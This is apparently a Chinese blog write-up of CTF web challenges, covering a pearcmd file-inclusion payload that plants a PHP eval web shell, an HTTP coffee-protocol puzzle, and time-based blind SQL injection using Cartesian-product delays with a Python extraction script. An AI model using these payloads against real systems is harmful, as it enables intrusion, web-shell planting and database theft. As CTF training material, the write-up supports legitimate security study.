首页 > 其他分享 >CTF比赛复现(我愿称之为狱后改造)

CTF比赛复现(我愿称之为狱后改造)

时间:2023-07-27 16:04:08浏览次数:33  
标签:information php .. 我愿 CTF 狱后 id columns schema

CTF比赛复现(我愿称之为狱后改造)

DASCTF 2023 & 0X401七月暑期挑战赛

ez_cms

后台文件包含漏洞,弱口令密码登入后台

admin 123456

pearcmd文件包含漏洞

W4师傅的关于利用pearcmd进行文件包含的一些总结

p神

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

要利用这个pearcmd.php需要满足几个条件

  • 要开启register_argc_argv这个选项在Docker中使自动开启的
  • 要有文件包含的利用

pearcmd的一些命令:

接下来说一下本题:

poc:

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php

注意:这里最好用Burp Suite发送数据,在浏览器中<>会自动url转码成%3C%3,导致文件包含该php文件时不能识别php代码而失败

最后蚁剑连接,根目录找到flag

http://b5d32940-d9de-4370-b5f3-092c61c86e0d.node4.buuoj.cn//admin/index.php?r=../../../../../../../../tmp/1

W4师傅和p神的文章还有扩展,待我细细研究

Coffee desu!

改为POST请求,给了几种方法

Coffee_burp1

Coffee_burp2

搜索上面的爆错

https://datatracker.ietf.org/doc/html/rfc2324

Coffee_document2

Coffee_document

就加一个请求头

Accept-Additions: milktea

Coffee_BREW

添加后GET访问即可

Coffee_GET

巅峰极客2023


hellosql

这里先搞懂笛卡尔积延时注入

使用

SELECT * from database.tableA,database.tableB

就会对tableA,tableB进行笛卡尔运算(对笛卡尔表示尊重)

tableA:

id user
1 a
2 b

tableB:

uid name
3 c
4 d

笛卡尔运算的结果:

id user uid name
1 a 3 c
1 a 4 d
2 b 3 c
2 b 4 d

实际测试发现使用information_schema.columns不稳定,因为对于不同的数据库,columns的数量是不同的,太少起不了延时效果,太多可能会导致数据库崩溃。
使用character_sets(41行)和collations(222行)效果可能会好点,因为数据量相对计较统一。

mysql> SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B;
+----------+
| count(*) |
+----------+
| 95413824 |
+----------+
1 row in set (4.58 sec)

同名表后面跟着的A,B是别名,不然选取同一个表会报错

mysql> SELECT * from information_schema.plugins,information_schema.plugins;
ERROR 1066 (42000): Not unique table/alias: 'plugins'

回到本题,过滤了常见的延时函数f、sleep、benchmark、*、rpad、count,get_lock没有被过滤,但是貌似不大行

过滤了if可以考虑用case when condition then 1 else 0 end代替,然后测试注入点发现为单引号闭合存在延时。

还有一种绕过if过滤的方法

1' and 判断字符语句 and 笛卡尔积延时#"

这个的原理是and短路。因为and需要两边都为true,才能为true。比如说 条件1 and 条件2,如果条件1为true才会去判断条件2,但是如果条件1为false,就不会再去判断条件2了,and直接返回false。

大佬的盲注语句:

时间盲注,用笛卡尔积

/index.php?id=1'or+elt(1>2,(SELECT+group_concat('1')+FROM+information_schema.columns+A,+information_schema.columns+B))+or'2

/index.php?id=1'or+elt(3>2,(SELECT+group_concat('1')+FROM+information_schema.columns+A,+information_schema.columns+B))+or'2

延时还是笛卡尔积,但是if用elt代替了(好好好,又学一个函数)

ELT()函数是分值函数,功能有点类似很多编程语言中的switch关键字。

语法:
ELT(N,str1,str2,str3,…)

其中N是要判断的数值,如果N=1,则返回str1,如果N=2,则返回str2,以此类推。

另外对不上的值返回Null,比如N=0,或者N大于后面列表的长度。

只能说大佬牛,膜拜

最后又一个大佬的脚本

import time

import requests
from datetime import datetime

url = "http://web-1939c1eb66.challenge.xctf.org.cn/index.php"

result = ""
for i in range(1,100):
    head = 32
    tail = 126
    while head < tail:
        mid = (head + tail) >> 1
        #查数据库 ctf
        param = {
            "id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查表
        param = {
            "id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查列  Flagg
        param = {
            "id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #Flagg 查数据
        param = {
            "id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        start = int(datetime.now().timestamp() * 1000)
        resp = requests.get(url, params=param)
        # print(resp.text)
        end = int(datetime.now().timestamp() * 1000)
        if end - start > 300:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

标签:information,php,..,我愿,CTF,狱后,id,columns,schema
From: https://www.cnblogs.com/solitude0-c/p/17585189.html

相关文章

  • CTF比赛中Web的php伪协议类型题小结
    php协议类型file://—访问本地文件系统http://—访问HTTP(s)网址ftp://—访问FTP(s)URLsphp://—访问各个输入/输出流(I/Ostreams)zlib://—压缩流data://—数据(RFC2397)glob://—查找匹配的文件路径模式phar://—PHP归档1.php伪协议:需要开启allo......
  • [SWPUCTF 2021 新生赛]babyrce
    [SWPUCTF2021新生赛]babyrce题目来源:nssctf题目类型:web涉及考点:Cookie注入、代码审计1.上来先代码审计<?phperror_reporting(0);header("Content-Type:text/html;charset=utf-8");highlight_file(__FILE__);if($_COOKIE['admin']==1){include"../next.p......
  • buuctf-[WUSTCTF2020]朴实无华
    打开靶机显示  啥都没有,先去查看robots.txt 发现  之后再fake里面请求头中发现fl4g.php  最后绕过三层php限制  第一关intvar 可以解析科学计数法 所以传入 1e4第一个截断解析为1  第二个加一解析为10001 payload:num=1e4第二关只要是0e开头md5......
  • ctf 查看文件内容命令
    Linux查看文件内容命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、awk介绍cat:连接文件并打印到标准输出设备上tac:从后往前输出nl:显示行号head:默认显示前十行tail:默认显示最后十行less:显示文件的全部内容,并且可以进行搜索、......
  • CTFer成长记录——CTF之Web专题·bugku-啊哒
    一、题目链接  https://ctf.bugku.com/challenges/detail/id/6.html?id=6二、解法步骤  打开图片:  显示完整,似乎没有文件高度的问题。右键查看属性——>文件详细信息:发现一串16进制数:尝试转换成字符串:https://www.sojson.com/hexadecimal.html  得到:sdnisc_20......
  • CTFer成长记录——CTF之Web专题·bugku-眼见非实
    一、题目链接  https://ctf.bugku.com/challenges/detail/id/5.html二、解法步骤  解法压缩包是一个.docx文件,打开该文件后发现一堆乱码:  结合题意:“眼见非实”,猜测该docx文件融合了其他的文件。用010打开看看:  发现了压缩包的文件头,于是用binwalk尝试文件拆分:binwal......
  • [SWPUCTF 2021 新生赛]jicao
    [SWPUCTF2021新生赛]jicao题目来源:nssctf题目类似:web涉及考点:代码审计1.直接看题,给了一串php代码<?phphighlight_file('index.php');include("flag.php");$id=$_POST['id'];$json=json_decode($_GET['json'],true);if($id=="wllmNB"......
  • [SWPUCTF 2021 新生赛]easy_md5
    [SWPUCTF2021新生赛]easy_md5题目来源:nssctf题目类型:web涉及考点:PHP弱比较1.又是一道代码审计题,题目页面如下<?phphighlight_file(__FILE__);include'flag2.php';if(isset($_GET['name'])&&isset($_POST['password'])){$name=$_GET[&......
  • 美丽的夕阳qsnctfwp
    题目附件查看图片,放大左侧发现建筑物上8个字:龙腾公寓/福阳集团根据文字在搜索引擎中查找,并由此确定城市通过百度地图全景地图查看当地桥梁,并与照片比对调整地图比例尺,记录桥名根据提示qsnctf{河北-石家庄-张桥-李桥}拼接flag并提交即可-End-......
  • CTFer成长记录——CTF之Web专题·bugku-eval
    一、题目链接https://ctf.bugku.com/challenges/detail/id/75.html?id=75二、解法步骤  打开网页是一段php代码,其中include"flag.php"提示可能有文件包含漏洞,接着使用了eval函数,那么可能存在命令执行漏洞。    先用system('ls')命令看看:?hello=system('ls'):......